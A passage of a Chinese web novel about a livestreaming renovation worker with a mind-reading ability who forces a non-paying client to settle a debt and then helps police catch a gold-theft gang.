突然，她爆发出一声尖锐的怒吼，声音里满是不可置信与愤怒。 “干什么？” “都给我放下！” “谁让你们砸我家的！” 话音未落，她便迈着小碎步，跌跌撞撞地冲上前，伸出双手去抢夺林澈手中的撬棍。 林澈身形矫健，迅速侧身躲开，手腕翻转间，撬棍再次精准地砸向地面。 “嘎嘣”一声脆响，又一块瓷砖应声而碎，瓷片如雪花般四散飞溅。 见抢夺无果，女业主急得干脆一屁股坐在完好无损的瓷砖上，挡住两人下手的空间，声嘶力竭地喊道。 “别动！” “不准你们砸！” 林澈嘴角勾起一抹意味深长的弧度，目光扫过女业主涨红的脸，悠然开口。 “师傅，别的屋还有！” “咱们走！” 这话如同一记重锤，敲在女业主心头。 她慌乱地从地上爬起来，快步冲到门口，张开双臂死死堵住去路。 “这是我家！” “你们不许再砸了！” “我这就报警！” “把你们都抓进去！” 刘富贵听到“报警”二字，握着铁锤的手微微颤抖，额头上的冷汗滚落得更急了。 而林澈却神色自若，眼神中透着一股从容不迫。 女业主颤抖着手指，慌乱地解锁手机，拨通报警电话时连声音都在发颤。 不是因为害怕，而是被气的。 “喂，警察吗？” “有人在我家里打砸。” “我新装的房子都被砸坏了！” “你们赶快过来！” 就在她焦急通话的间隙，林澈再次举起撬棍，动作行云流水，随着两声清脆的“咔嚓”，又有两块瓷砖被无情击碎。 刘富贵攥着铁锤的手微微发颤，他佝偻着背凑近林澈，喉结上下滚动了两下，压低声音道。 “小林，这真的没事吗？” 说话时，他的目光不住地瞥向堵在门口、满脸怒容的女业主，额头上又渗出一层冷汗。 林澈站直身子，将撬棍随意扛在肩头，唇角扬起一抹令人安心的弧度，露出两颗虎牙。 “您放心，等警察来了，我上去和他们说。” 刘富贵听到这话依旧眉头紧锁，脸上的担忧像拧成了一团麻花，他的手指无意识地摩挲着铁锤的木柄。 林澈低头看了眼地面，那些破碎的瓷砖如同被打翻的调色盘，凌乱又刺眼。 转头冲刘富贵扬了扬下巴。 “刘师傅，咱们继续。” 话音未落，便抬起撬棍，手腕猛地发力，“砰”的一声，又一块瓷砖应声而裂。 瓷片迸溅到女业主脚边，吓得她本能地缩了缩脚。 女业主气的胸脯剧烈起伏，双手死死撑住门框，身体微微前倾，像一只护崽的母兽般警惕地盯着两人，根本不敢让开主卧。 生怕这两人趁着她不注意，冲进别的房间大肆破坏。 此时直播间的弹幕疯狂跳动，各色留言不断刷新屏幕。 “兄弟们，你们有没有发现这剧情好像看到过。” “这场景我看过！在别人家中，无力的女业主，被蹂躏的瓷砖，满脸憎恶的壮汉二人。像！真像啊！” “卧槽！你这么一说还真是这么回事！” “牛头人就完事了，牛头人万岁！” “你们这群家伙！倒是把资源分享一下啊！” “7K7K-4399，兄弟看这个，这个劲大！” 不多时，楼道里传来急促的脚步声，三名警察赶到现场。 这次来的人倒不是老熟人梁国栋。 走在最前面的是位身形魁梧的老警察，他穿着笔挺的藏蓝色警服，帽檐下一双眼睛锐利如鹰。 老警察走进屋子，皮鞋踩在碎瓷片上发出“咯吱咯吱”的声响。 他先是左右扫视了一圈狼藉的现场，目光在满地的瓷砖碎片上停留片刻。 又上下打量了一番女业主，见她除了情绪激动外身上并无伤痕，紧绷的肩膀才微微放松，心中稍稍安定。 老警察清了清嗓子，声音浑厚有力。 “发生什么事了？” 女业主像是找到了主心骨，刚刚还一副发狂母狮的模样，转瞬间眼眶红了，她伸出颤抖的手指，指着林澈和刘富贵，声音带着哭腔。 “警察同志。” “他们二人打砸我家！” “要不是我拦着，他们还要去别的房间打砸。” “这可是我花了几万块装的。” “您要给我做主，把他们全都抓走！” 另外两名警察立刻站到两侧，三人如鹰隼般的目光齐刷刷地投向林澈和刘富贵。 刘富贵被这目光看得心里发毛，下意识地低下头，双手局促地绞在一起，身体微微蜷缩，仿佛想把自己藏起来。 林澈上前半步，脊背挺得笔直，脸上挂着恰到好处的微笑，露出一口整齐的白牙。 抬手理了理被汗水浸湿的衣领，语气不卑不亢。 “我来解释一下。” “第一，我们没有打砸她家，我们是装修工，看自己装修的这间房子有问题，所以拆了重装。” 说到这，林澈弯腰捡起一块碎瓷片。 “第二，这些瓷砖也是我们的，砸自己东西有问题吗？” 第103章 典！太典了！ “扯淡！” “这是我的家！” “那些瓷砖也是我让你们装的。” “你们就是俩臭装修的！” 林澈双手抱胸，微微歪头，唇角勾起一抹嘲讽的弧度。 “你说是你的。” “请问你有收据吗？” “你有付款信息吗？” 字字句句如利箭般精准射向女业主。 女业主张了张嘴，脸色瞬间涨得通红，像吞了个辣椒般说不出话来，手指死死攥着衣角。 见此情形，林澈两手一摊，脸上满是戏谑。 “什么都没有你就说是你的？” “脑子不好推荐去三院看看病。” 这话彻底激怒了女业主，她浑身颤抖，嘴唇青紫。 老警察眼神锐利地看向林澈，警帽檐下的目光如鹰隼般审视。 “你有收据？” 林澈神色自若地点点头，朝刘富贵递了个眼神。 刘富贵立刻会意，他三步并作两步上前，手指在手机屏幕上快速滑动， 鼻尖沁出细密的汗珠，终于翻出付款信息，双手恭敬地将手机递给老警察， 声音略带紧张：“警察同志，您看。” 老警察仔细查看后微微颔首。 女业主见状，突然双手捂着脸，肩膀剧烈抖动，发出呜呜咽咽的哭声。 抬起哭得通红的脸，眼泪在睫毛上凝成水珠，模样装得楚楚可怜。 “我是业主啊。” “我让他们装修的。” “装修完了，这东西不就是我的了吗？” “就因为我打算过几天再给钱，他们就全给砸了。” “这事肯定是他们的问题！” 林澈脸色陡然一沉，眉头拧成一个“川”字，目光如炬。 “装修没问题，但让你给钱就不说话，开始装聋作哑。” “刘师傅和你说了，他儿子需要这笔钱交学费。” “结果你就是拖着不给！” “我们退了一步，说你把材料钱结了，你也不同意。” “合着装修钱你一分都不打算出，就想着白嫖？” “现在又说是你的了？” 字字诛心，女业主脸色由红转白，手指绞着头发，慌乱地辩解。 “我是验收完了，我又没说不给。” “不过是拖个一段时间。” “我要结婚，我也需要用钱。” “他只是给儿子交学费，我结婚可是一辈子的大事。” “孰轻孰重大家都能分辨出来。” 林澈张了张嘴，喉结上下滚动了几下，最终无奈地叹了口气，脸上的表情混杂着难以置信与哭笑不得。 三位警察交换了一个意味深长的眼神，老警察嘴角不受控地微微抽搐，另外两名年轻警察别过脸去。 刘富贵紧握的拳头青筋暴起，古铜色的脸庞涨得通红，额头上的血管突突跳动，眼神里满是压抑不住的愤怒。 此刻的直播间，弹幕如同沸腾的开水，疯狂地向上翻涌。 “好好好，说得太有道理了。” “典！太典了！” “玛德，自己的事就十分重要，别人的事就无所谓呗？” “主播，别管其他的了，去把其他房间的瓷砖都砸了。” “奶奶的，我看她还怎么结婚！” “谁娶了这位，这辈子算是有福了。” 林澈无奈地耸了耸肩，将撬棍在掌心转了个圈，目光直直地看向三位警察，语气中带着几分调侃。 “警官，她这么说我就没啥好说的了。” “就只能动手了！” 说着，扬起撬棍，作势就要往旁边房间走去。 女业主脸色骤变，像只受惊的兔子般冲上前，张开双臂挡住去路，一边转头向警察呼救，声音尖锐刺耳。 “你们别看着了。” “赶紧上来把他们都抓走！” “全都关进监狱里！” 老警察保持着标准的职业微笑，抬手整了整警帽，不紧不慢地开口。 “抱歉。” “他们砸自己的瓷砖没有任何问题。” “您没有出钱，这就不是您的东西。” 女业主瞪大眼睛，嘴巴张成了夸张的“O”型，满脸的不可置信。 “你们就看着他们这么砸下去？” 老警察耐心解释，语调沉稳。 “确实是这样的。” “当然如果他们伤到了您，我们就会把人带走。” “要是您想要赔偿，可以去法院提起民事诉讼。” “放心，我们不会立马走，我们会在这里保护你的安全。” 这番话让女业主呆立当扬，她的嘴角不受控地抽搐着，眼神空洞，一时语塞。 突然，她猛地转头看向刘富贵，知道这人老实好拿捏。 脸上的愤怒瞬间消失，取而代之的是一副楚楚可怜的模样，声音娇柔得能拧出水来。 “刘师傅。” “我马上就要结婚了。” “这是我的婚房啊。” “求您了，帮我把它复原。” “只要您复原了，钱我立马给。” 林澈迈着轻快的步子走到两人中间，双手插兜，眼神似笑非笑地盯着女业主。 “复原，可以啊。” “那你给钱。” 女业主像是被踩了尾巴的猫，怒目圆睁，眼尾泛红，指甲深深掐进掌心，那眼神恨不得将林澈生吞活剥。 咬牙切齿的吼道。 “我们是签了合同的。” “你们就得给我复原！” 林澈闻言，慢条斯理地点点头，目光扫过满地狼藉的碎瓷片，又在墙壁、天花板上来回打量。 “刘师傅，咱们破坏得这么严重。” “恢复的话需要多久。” 刘富贵刚要低头沉思，林澈却突然自顾自地说了下去，语气中满是夸张的惋惜。 “我看怎么也得需要几个月吧。” “不行不行，手头没钱买料了。” “恐怕得几年了。” 林澈故意模仿着女业主之前那副理所应当的腔调，尾音还带着刻意的拖长。 “您只是要结婚，我们可是负责装修婚房这种一辈子的大事啊。” 这话一出，原本一脸严肃的三名警察中，不知是谁没忍住，“噗嗤”笑出了声，随即又猛地收声，绷直身子，努力恢复成庄重的模样。 第104章 有宝贝 直播间的弹幕疯狂滚动，网友们的欢乐都快溢出屏幕。 “我们是专业的，不论遇到多么好笑的事情都不会笑。” “除非忍不住啊！哈哈哈哈！” “看主播那贱兮兮说出女业主的话，我就绷不住了。” “主播，你真是个人才。” “没看到女业主的脸都红了！” “第一次见到人的脸色竟然能这么红！” “俗话说女子的脸红，恨不得啖其肉饮其血！” 林澈嘴角勾起一抹狡黠的弧度，双手抱胸。 问就是能装，至于要装多久？那就是很久。 什么时候钱到位了，什么时候才能装好。 女业主的脸色从涨红渐渐变成了猪肝色，胸口剧烈起伏，最后终于泄了气，咬牙切齿道。 “好，我给你们结账。” “这间屋子不需要你们了。” “滚！都给我滚！” 林澈侧身让出一条路，刘富贵快步上前，接过女业主不情不愿递来的钱款。 虽然比预期少了些，但好歹大部分都要回来了。 刘富贵古铜色的脸上顿时绽放出灿烂的笑容，眼角的皱纹都舒展开来，被太阳晒得红中透亮的脸庞，此刻洋溢着喜悦。 老警察见状，轻咳一声，抬手整了整警帽。 “没事了是吧。” “那就散了吧。” 林澈和刘富贵并肩走出单元门。 刘富贵脚步一顿，粗糙的手掌在工装裤上蹭了蹭，转头看向林澈时，浑浊的眼睛里泛起湿润的光。 声音有些发颤，喉结上下滚动。 “谢谢你，小林。” “要是没有你，恐怕这笔钱就没了。” 林澈摘下口罩，笑着摆摆手，额前碎发被汗水黏在皮肤上。 “这都是您该得的。” “对了，您赶紧把这件事发到装修群里。” “提醒自己认识人，让他们千万别上当。” 刘富贵连忙点头，布满老茧的手拍了拍胸口的口袋，那里装着刚要回的工钱。 “嗯嗯嗯。” 毕竟每个城市的行业群就那么几个。 很快，女业主拖欠工钱的消息就像投入深潭的石子，在银河市装修工人群里激起千层浪。 一传十，十传百，很快整个银河市的装修工都知道了这件事。 直播间弹幕热闹起来。 “这种人就该让她吃点苦头。” “刘师傅同意留一笔售后押金，还不打算结账，这就纯纯不是人了。” “想想这人找不到装修工人时的表情，可惜我看不到了。” “有没有认识她男朋友的，boyhelpboy，这种事还是要提醒一下。” “你们这群人也太坏了。” “这是在做好事啊，不能看着兄弟跳进火坑里啊。” ...... 女业主瘫坐在满地狼藉的瓷砖碎片上，膝盖硌着尖锐的瓷角也浑然不觉。 她攥着手机的指节发白，屏幕上的聊天界面还停留在与装修公司的通话记录。 半小时前，她还对着电话那头笑意盈盈，从装修风格聊到工期安排，对方热情的态度让她以为找到了救星。 可当她报出小区地址的瞬间，电话那头的语气陡然变得冰冷，原本承诺的“包工包料”变成了“必须全款到账才开工”。 她不死心地又拨通五六个装修公司的电话，得到的答复如出一辙。 听筒里机械的忙音一声声敲在心上，最后一个电话挂断时，她终于崩溃地将手机狠狠拍在地上。 突然屏幕亮起，是未婚夫发来的消息。 短短两行字，像两把利刃剜进心脏：“结婚的事还是要慎重些，你要的三十万彩礼太多了，我再考虑考虑。” ...... 与此同时，林荫道上，林澈骑着电动车。跟在刘富贵的三轮车后面。 突然听到脑海中响起系统的提示声。 【直播间观众认可度达到80%】 【宿主当前职业：装修工】 【正在抽取当前职业技能......】 【恭喜宿主获得装修工的力量】 顿时，一股暖流从脊椎直冲天灵盖。 林澈感觉手臂的肌肉开始发烫，短袖下的肱二头肌以肉眼可见的速度隆起，血管在皮肤下微微跳动。 下午的天气，铅灰色的云层仿佛被无形的手压得更低，沉甸甸地悬在城市上空，连空气都透着压抑的湿气 刘富贵冲着身旁的林澈扬了扬下巴： “走，就这儿。” “五年前建成，不算是老小区。” “这里面中间几层，一直没有卖出去，所以就这么空着。” “几天前刚卖出去一套，业主催得急，让咱们赶紧过来装。” 两人说着走进楼道，来到一处防盗门前。 刘富贵在裤兜上蹭了蹭手，掏出一串叮当作响的钥匙，眯着眼将钥匙插进锁孔，拧动时发出“咔嗒”的声响，防盗门发出吱呀的呻吟缓缓打开。 屋内漆黑一片，刘富贵摸索着按下找到了电闸的开关，吧嗒一下合上。 随后按下墙上的开关，几盏昏黄的灯泡亮起，照亮了空荡荡的房间。 墙面凹凸不平，裸露的水泥墙泛着青灰色，地面上散落着碎木屑和灰尘。 刘富贵双手叉腰。 戴着劳保手套的手指了指墙面。 “咱们今天的任务就是清理房间。” “检查基层的空鼓、开裂。” “最后便是找平了。” 林澈应了声，从小推车上拿出工具，弯着腰开始清扫地面。 每扫一下都很用力，扫帚与地面摩擦发出“沙沙”声。 刘富贵则拿着空鼓锤，侧着身子，一下下敲击墙面，金属碰撞声在空旷的房间里回荡。 当林澈清扫到卧室角落时，直播间的弹幕突然疯狂滚动起来。 “主播，快看有个黑色塑料袋！” “这里面一定有宝贝，快捡起来！” “主播，别听这群坏种的，这些毛坯房的塑料袋，没人能知道里面有什么。” “确实，这里面的东西只能说懂得都懂。” “和塔吊底下的冰红茶差不多的玩意。” 林澈扫了眼弹幕，握着扫帚朝黑色塑料袋扫去。 可当扫帚碰到袋子的瞬间，林澈明显感觉手臂一沉，像是扫到了一块石头。 愣了愣，蹲下身，膝盖处的褶皱里还沾着刚才清扫的灰尘。 抓住袋子的提手，咬着牙往上提，一股沉甸甸的力量瞬间将他的手臂往下拽。 拉开袋口，借着昏暗的灯光，看清里面整整齐齐码着十几块大小不一的黑色长条形方块。 每一块看着都不大，也就一两指宽，却重得出奇。 第105章 既然让你们发现了，那也没有办法了 林澈急忙去喊刘富贵。 “刘师傅。” “你来看看这是什么？” 刘富听到喊声，三步并作两步跨进卧室，弯腰捡起一块黑色方块。 粗糙的指腹摩挲着冰冷的表面，将方块垫在掌心上下抛接，喉间发出“啧”的一声。 “这个我也没见过。” “可能是业主来的时候扔在这里的吧。” “我联系下业主。” 就在刘富贵拇指按下拨号键的瞬间，“砰砰砰！”急促的敲门声突然炸响。 刘富贵眉头拧成个“川”字，冲着门板吼道。 “谁啊？” 门外却只有更密集的敲击声回应。 林澈起身笑着说道。 “刘师傅，我去开门看看。” “您联系业主。” 刘富贵迟疑着点头。 林澈打开房门，门锁发出咔咔声。 门刚拉开条缝，一股浓重的啫喱味就扑面而来。 门外站着个中年胖子，蓝色大背心紧紧贴在滚圆的肚皮上，黑色短裤下露出的小腿肚堆着层层褶皱。 圆框眼镜滑到鼻尖，镜片后的小眼睛滴溜溜乱转，额头的汗珠顺着法令纹流进衣领。 倒是头发整理得一丝不苟。 胖子咧开嘴，见人就笑眯眯的。 “兄弟，我是楼上的邻居。” “我有东西落在里面了。” 林澈眯起眼。 “楼上的邻居？东西落在楼下？” 胖子脸上的笑容僵了一瞬，随即又堆得更满，肥厚的手掌重重拍在林澈肩上。 “是的，你还年轻你不懂。” “你放我进去，我拿着就走。” “保证，绝不耽误你们的事。” 林澈稍稍凝神。 便听到胖子的心声。 【哪个煞笔说的放在这里没问题。】 【幸亏我一直盯着。】 【这不就来人了吗？】 【还得让我来取！】 林澈摩挲着下巴，沉思片刻后，微微侧身，让出一条狭窄的通道。 “可以，进来吧。” 胖子挺着圆滚滚的肚子，走进房间内，其他地方都不去，直奔卧室。 还没走到门口，就看到刘富贵拎着塑料袋走出来。 手上拿着刚刚挂断的手机。 “林澈，刚刚联系业主了。” “业主说不是他们的。” “让咱们自行处理。” 就在这时，林澈突然听到胖子内心如擂鼓般的声音。 【就......就是这个！】 【赶紧放开！交给我！】 胖子脸上则堆起谄媚的笑容，双下巴几乎要挤到眼睛，搓了搓手，伸出肥胖的手掌。 “大哥。” “这东西是我的。” 刘富贵狐疑地眯起眼睛，双眼像扫描仪般打量着胖子。 “你是谁？” “我可见过这里的业主。” 胖子急忙用手指指了指楼上，身上的肥肉随着动作微微晃动。 “楼上的邻居。” “咱们都是中年人了。” “想来您也应该懂的。” “到了咱们这个年纪有些东西不能放在家里。” 直播间的弹幕疯狂滚动。 “这个我懂！我可太懂了。” “原来还能藏在别人家里啊。” “不是，这也藏得太深了。” “婚姻到底给男人带来了什么。” “什么时候男人才能站起来。” “别串了！别串了！” “哈哈哈哈。” 刘富贵皱着眉头，眼神中满是怀疑，并没有将塑料袋交过去的意思。 胖子见状，眼神突然变得急切，肥厚的手掌猛地朝塑料袋抓去。 刘富贵反应迅速，后退一步，可还是让胖子抓到塑料袋一角。 胖子涨红了脸，额头上青筋暴起。 “哥，这个真是我的。” “里面一共有十四个铁块。” 刘富贵咬着牙，手臂青筋暴起，牢牢攥住塑料袋。 “你这人感觉不老实。” “不能给你。” “嘶啦——”塑料撕裂声尖锐地刺破僵持的空气。 攥在两人手中的黑色塑料袋不堪重负，在拉扯间裂成两半。 里面的黑色长条方块“哐当哐当”砸在水泥地面上。 胖子眼疾手快，俯身去捡。 五指如鹰爪般扑向最近的“铁块”。 然而就在这时。 胖子突兀地发现，林澈不知何时已经无声无息地蹲在身侧，手指正捏起一块。 林澈垂眸盯着方块棱角，睫毛在眼下投出细长阴影。 “你说这是铁块？” 胖子半跪在地上，圆框眼镜歪斜地挂在鼻梁上。 “对，这是铁块。” 林澈摇摇头。 “我说这就不是铁块。” 胖子嘴角抽动，刚想继续解释。 林澈突然攥紧物体，猛地往地面一划。尖锐的刮擦声中，黑色漆面应声剥落，露出内里流淌的金色光芒，在昏暗的房间里格外刺目。 刘富贵下意识后退半步。 “这是什么？” 胖子舔了舔干燥的嘴唇，喉间发出含混的咕哝，豆大的汗珠顺着鬓角滚进衬衫领口。 直播间的弹幕疯狂刷屏，文字如同炸开的烟花。 “卧槽！” “这里面怎么在发光啊？” “主播，你是不是开特效了？” “黄铜？不对，黄铜发暗，这颜色不对！” “尼玛的！这不会是黄金吧！” “刚刚这胖子说这东西是他的，把黄金藏在外面，这哥们真是胆大。” “有没有一种可能，咱们市附近最近刚刚发生了一起黄金盗窃案呢？” “主播发现的这批黄金肯定有问题。” “你这么一说！@老梁！” 而林澈的耳边，胖子的心声如惊雷炸响。 【我靠！还是被发现了！】 【怎么办？】 【干掉他们？】 【不可能的，别说这个年轻人了，就那个老头子胳膊都比我的胳膊粗。】 【先安抚住他们，喊人过来收拾其他人。】 胖子瞬间换成讨好的笑，眼角的褶皱里都挤出谄媚的意味，嘴角咧得几乎要到耳根。 另一只手悄然滑向口袋，手指在口袋里摸索着什么。 “既然让你们发现了。” “那也没有办法了。” “隔壁市的黄金盗窃案你们都知道吗？” 第106章 白捡的无所谓 刘富贵满脸茫然，显然没听过这件事。 “啥？盗窃案？和这有啥关系？” 林澈却微微眯起眼，垂眸盯着地面泛着金光的方块。 胖子见状，笑得愈发灿烂，脸上的肥肉都跟着抖动起来。 “俗话说盗亦有道。” “既然你们都看到了。” “那就一起分钱吧。” “这里是五公斤黄金，就算是打折卖出去也是大几百万。” “够咱们几家分了。” 说话间，他还搓了搓手，眼神在两人身上来回扫视，满是期待。 刘富贵一听，脑袋摇得像拨浪鼓，双手在身前拼命摆动。 “不不不！” “这事不行！” 刘富贵急得额头青筋暴起，转头看向林澈，发现对方沉默不语，脸上的神情瞬间变得复杂，语重心长地劝道。 “小林，这事不能干。” “这种钱拿过一次，后面就完了。” 见林澈依旧不说话，他重重叹了口气，肩膀也跟着垮了下去。 “你要拿就拿吧。” “但警察找上来，我不会帮你隐瞒。” “不过你之前帮过我，所以我也不会主动去报警。” 与此同时，直播间的弹幕如潮水般涌来。 “刘哥，可以的，这人能处。” “这么多钱都不拿，确实很厉害。” “主播：我踏马也想拿啊，但是也得看看我胸口的摄像头啊。” “老梁：确实，我在看着呢！” “尼玛的，还角色扮演上了。” “胖子要是知道一举一动都被直播出去，不知道心里会怎么想？” “怎么想？当然是想着监狱的饭菜好不好吃了。” 胖子那些杂乱又紧张的心声便清晰地传入林澈的脑海。 【不急，不能急。】 【自己要拖住他们，已经联系自己人了。】 【只要自己人到了，立马就能解决这里的问题。】 听到这些，林澈唇角勾起一抹若有若无的笑意，心想： “还真是想到一起了。” “梁国栋肯定已经带着人再往这里赶过来了。” 胖子咽了咽口水，喉结上下滚动，继续用那充满审视的眼神等待着林澈的答复。 林澈摩挲着下巴，沉思片刻，眼神突然变得明亮，嘴角上扬，露出一个自信的笑容。 “好！” “我正好也缺钱。” “昨天刚刚损失了五十万，到现在也没拿过来。” 此时，直播间的弹幕瞬间沸腾起来，密密麻麻地在屏幕上滚动。 “这个我作证，我亲眼看到了。” “对对对，我看着主播转账的，被人骗了。” “那人现在已经进去了。” “这里的都是证人！” “哈哈哈哈！” 胖子嘴角不受控制地抽搐了一下，脸上闪过一丝嫌弃与不屑，心里疯狂吐槽。 【尼玛的，这逼人好能吹牛啊。】 【什么损失五十万？】 【冥币吗？】 【当开天地银行的？】 【动不动就五十万！】 但很快，他便整理好表情，眼神恢复平静，装作若无其事地缓缓开口问道。 “你要多少？” 林澈向前迈了一步，与胖子对视，眼神坚定而锐利。 “一半。” 胖子心里顿时破口大骂。 【真无耻！】 【上来就要一半！】 【不过他要得多也好。】 【正好可以砍砍价。】 【一拉一扯随便拖个十几分钟。】 表面上，他却露出一副为难的神色，五官几乎皱成一团，苦着脸说道。 “这可是我和我朋友玩命弄出来的。” “你就看一眼就要分走一半？” “我做不了主。” “最多只能给你四分之一。” 说完，他抬头紧盯着林澈，眼神中带着一丝期待，等待着林澈的讨价还价。 然而，出乎他意料的是，林澈根本没有按照他预想的剧本走。 只见林澈二话不说，伸手就开始快速地整理起桌上的东西，动作娴熟又利落。 不一会儿，就将所有东西利索地分成了四份。 随后，一把抓起其中一份，直接往裤兜里塞。 胖子见状，脸色骤变，急忙伸出那只短粗的手，用力按住林澈，声音里带着掩饰不住的慌乱和愤怒。 “干什么？” 林澈双眼清澈透亮，直视着胖子，脸上堆满了真诚的笑意，连眼角都弯成好看的弧度。 “拿属于自己的一份啊。” “你不是说给我四分之一吗？” “刘师傅可是听得真真的。” 身后的刘富贵微微佝偻着背，神情严肃，缓缓点了点头，用低沉的嗓音应和着。 胖子的脸颊不受控制地抽搐起来，肥厚的腮帮子一鼓一鼓，仿佛吞了几颗石子般难受。 他强压着怒火，声音里带着明显的咬牙切齿。 “兄弟，我说给你多少？” “你就拿多少？” “你倒是还个价？” 林澈单手插兜，歪着脑袋，眼神中满是戏谑，轻挑着眉反问道。 “白捡的好处还说三道四？” “那不是煞笔吗？” “兄弟，这里不安全，赶紧分完钱，赶紧走。” 这话一出，胖子的五官几乎皱成一团，脸色青一阵白一阵，活像吞了黄连般难受，脸上的肥肉都跟着微微颤抖，那表情就像便秘了好几天一样。 直播间里，弹幕如同潮水般涌来，五颜六色的评论疯狂刷屏。 “主播真的太坏了。” “看给胖哥气的，脸都抽抽了。” “你给多少，我直接拿，讨价还价是不存在的。” “哈哈哈，主播你别逗傻子玩了！” “傻子让你逗了吗？主播，快去给傻子卖瓜子去！” 胖子再也按捺不住，粗短的手臂猛地伸出，一把夺过林澈手里的金条，他攥得紧紧的，指节都因用力而泛白。 “等等！” “给你的太多了，只能给你两根。” 话音未落，林澈修长的手已经迅速伸了出来，勾了勾手指，动作敏捷又随意。 这一下，胖子只感觉一阵恶心翻涌上来，仿佛吞了只苍蝇般难受。 怎么就遇到这么个傻子了呢。 强压下怒意，脸上挤出一个比哭还难看的笑容，换了副语重心长的语气说道。 “兄弟，你知不知道刚刚一句话。” “你就损失了几十万啊。” 林澈漫不经心地晃了晃脑袋，发丝跟着轻轻飘动，眼神中满是无所谓。 “知道，但白捡的无所谓。” 第107章 勾勾手指 胖子嘴角狠狠抽动了几下，缓缓伸出一根手指，指尖还微微发颤。 还没说出只能给一根的话。 林澈早就没了耐心，瞳孔微缩，眼神中闪过一丝急切，猛地伸手就要去抢。 胖子吓得连忙往后退，圆滚滚的身子笨拙地挪动着，嘴里还大喊着。 “等等！” “等等！！” “我突然觉得一根都不能给你了。” 林澈动作一顿，思索片刻后，拿出了自己的手机。 胖子见状，心里猛地一紧，瞪大了眼睛，声音都变得尖锐起来，连忙追问。 “你要干什么？” 林澈眉眼弯弯，嘴角噙着狡黠的笑意，眼底流转着促狭的光，慢悠悠地开口。 “发现抢劫金条的坏人，当然是报警了。” “我现在可是一点赃款都没收，实打实的大好人。” “还能收获一面锦旗呢。” 话音落下的瞬间，指尖熟练地划过屏幕，开始拨打报警电话。 胖子的脸色瞬间变得惨白，额头上的青筋突突直跳，他像头失控的野猪般扑上前，一把抢过手机，慌乱中挂断了电话。 伸出肥硕的手指，指着林澈，浑身止不住地颤抖，嘴里结结巴巴地蹦出几个破碎的音节。 “你你你......” 此刻直播间里，弹幕如烟花般炸开，满屏都是欢快的调侃。 “都说逗煞笔好玩，今天一见还真的是这样。” “你给我就收着，不给就报警，小偷请做出你的选择。” “兄弟们，有没有发现问题，这胖子好像在拖延时间啊。” “确实不对劲，主播拖延时间是有老梁，那他拖延时间是干什么呢？” “他不会也喊人来了吧？” “还真的极有可能啊！” “老梁：卧槽！同伙也来了！一言为定双喜临门！” “收到，已经便装过去了，随时准备抓人。” 另一边，梁国栋带着三个组共二十名队员，早已悄然潜入小区。 他们身着便衣，如同隐秘的猎手般分散在各个角落，密切注视着周围的动静。 至于林澈的安全，还不如担心胖子。 要是林澈一个不留神下手重了，恐怕还得送这胖子去医院。 ...... 胖子深吸一口气，努力平复着情绪，挤出一抹僵硬的笑容。 “好，按照最开始的分配方式。” 林澈挑了挑眉，毫不犹豫地伸出手讨要。 就在胖子慢吞吞地开始分金条时，他的口袋突然震动了一下。 微微扬起下巴，眼神中透出阴鸷与得意，嘴角勾起一抹冷笑，整个人瞬间变得志得意满，一副吃定了林澈的模样。 与此同时，林澈听到了胖子心底疯狂叫嚣的声音。 【我的人已经到了。】 【小子，等会就让你们好看！】 【白捡的是吧！让你知道有些东西是不能捡的。】 胖子脸上堆满了假笑，那笑容就像抹了层油腻腻的猪油，让人作呕。 慢条斯理地将黄金分好，粗短的手指捏着几块金条，“哗啦”一声推到林澈面前，肥厚的嘴唇咧得老大。 “这些就是你的了。” “咱们也是同一条船上的人了。” 林澈眉眼弯弯，二话不说，双手快速收拢金条，利落地揣进兜里，模样看起来高兴极了。 突然，胖子的耳朵微微一动，楼道里传来急促又杂乱的脚步声，咚咚咚地直撞人心。 嘴角慢慢勾起，眼神里闪过一丝阴狠，心中暗自盘算。 【他们倒是知道轻重缓急，知道爬楼梯赶紧上来。】 【这傻小子笑得好贱，等会就打烂他这张嘴。】 【让他再也不能这么笑了。】 胖子慢悠悠地站起身，晃着臃肿的身子走到大门口，背对着门，面朝林澈和刘富贵，脸上的表情渐渐变得阴森可怖。 “说实话你们俩也是倒霉。” “竟然捡到了我们的黄金。” “我们敢干出这么大的事情，自然有后手。” 说着说着，他的声音愈发低沉，五官都扭曲在了一起，突然仰头发出一阵刺耳的大笑，那笑声在昏暗的房间里回荡，像极了电影里的大反派。 随即猛地一推，防盗门缓缓打开。 胖子叉着腰，眼中满是疯狂和得意，扯着嗓子大喊： “你们完了！” “你们死定了！” “我的同伙中可是有曾经混道上的。” “他亲手沉江的人不下双手之数。” “生不见人，死不见尸！” “你们也会落个这种下场！” 胖子得意地瞥向刘富贵，看着对方瞪大双眼、满脸震惊的模样。 肯定是被自己的话镇住了，对此颇为满意。 可当他的目光扫到林澈时，却皱起了眉头。 只见林澈绷着脸，肩膀微微抽搐，像是在极力忍耐着什么。 胖子气的鼻子都快歪了，冷哼一声。 “不见棺材不掉泪！” “大哥，给他们点教训！” 身上果不其然传来熟悉的声音。 并不是愤怒和嚣张。 反倒是带着哭腔的声音，满是急切和哀求。 “警察大哥。” “他说的都是假的。” “我根本没有杀过人。” “所谓沉江都是我瞎编的。” “我连一只鸡都不敢下手啊！” 胖子猛地转身，身后楼道里，十几名便衣警察整整齐齐站成两排，楼道的电灯投下冷冽的光。 他们嘴角噙着似有若无的笑意，目光像钉子般牢牢钉在胖子身上。 再一看，自己的两个同伙被反铐着手，垂头丧气地缩在角落。 其中那个平日里最嚣张、身材最为高大的壮汉，此刻竟半跪在地上，眼眶通红，鼻涕眼泪糊了满脸，正死死抱着警察的大腿，哭得撕心裂肺。 “警察同志，我真的是骗他的！” 胖子的大脑瞬间一片空白，肥胖的身躯僵在原地，嘴里不停地重复着。 “不是！” “不可能！” “我一定是眼花了。” 他像只受惊的鸵鸟，猛地扑向防盗门，想要把这荒诞的一幕关在门外。 可他刚触到门把手，梁国栋已经大步上前，一只铁钳般的大手死死抵住门板，另一只手慢悠悠地冲他勾了勾手指。 第108章 都市怪谈 胖子眼神呆滞，仿佛被施了定身咒，机械地将怀里的黄金一股脑递了过去。 梁国栋满意地点点头，从腰间掏出一副锃亮的手铐。 胖子竟鬼使神差地伸手接过，动作迟缓地将自己铐住，圆滚滚的脸上还挂着没反应过来的茫然。 直播间观众看到这场景，弹幕瞬间刷屏。 “哈哈哈哈哈！” “不是，这场景真尼玛搞笑。” “看得出来大家都是经过训练的，刚刚愣是一点声音都没发出。” “同伙：什么沉江！我没有，我不是，我不知道！警官，他诽谤我啊！” “太踏马搞了，尤其是那一瞬间的表情转换。” “真的让人很难忽视啊。” “这尼玛就是影帝，奥斯卡欠胖子一个小金人！” 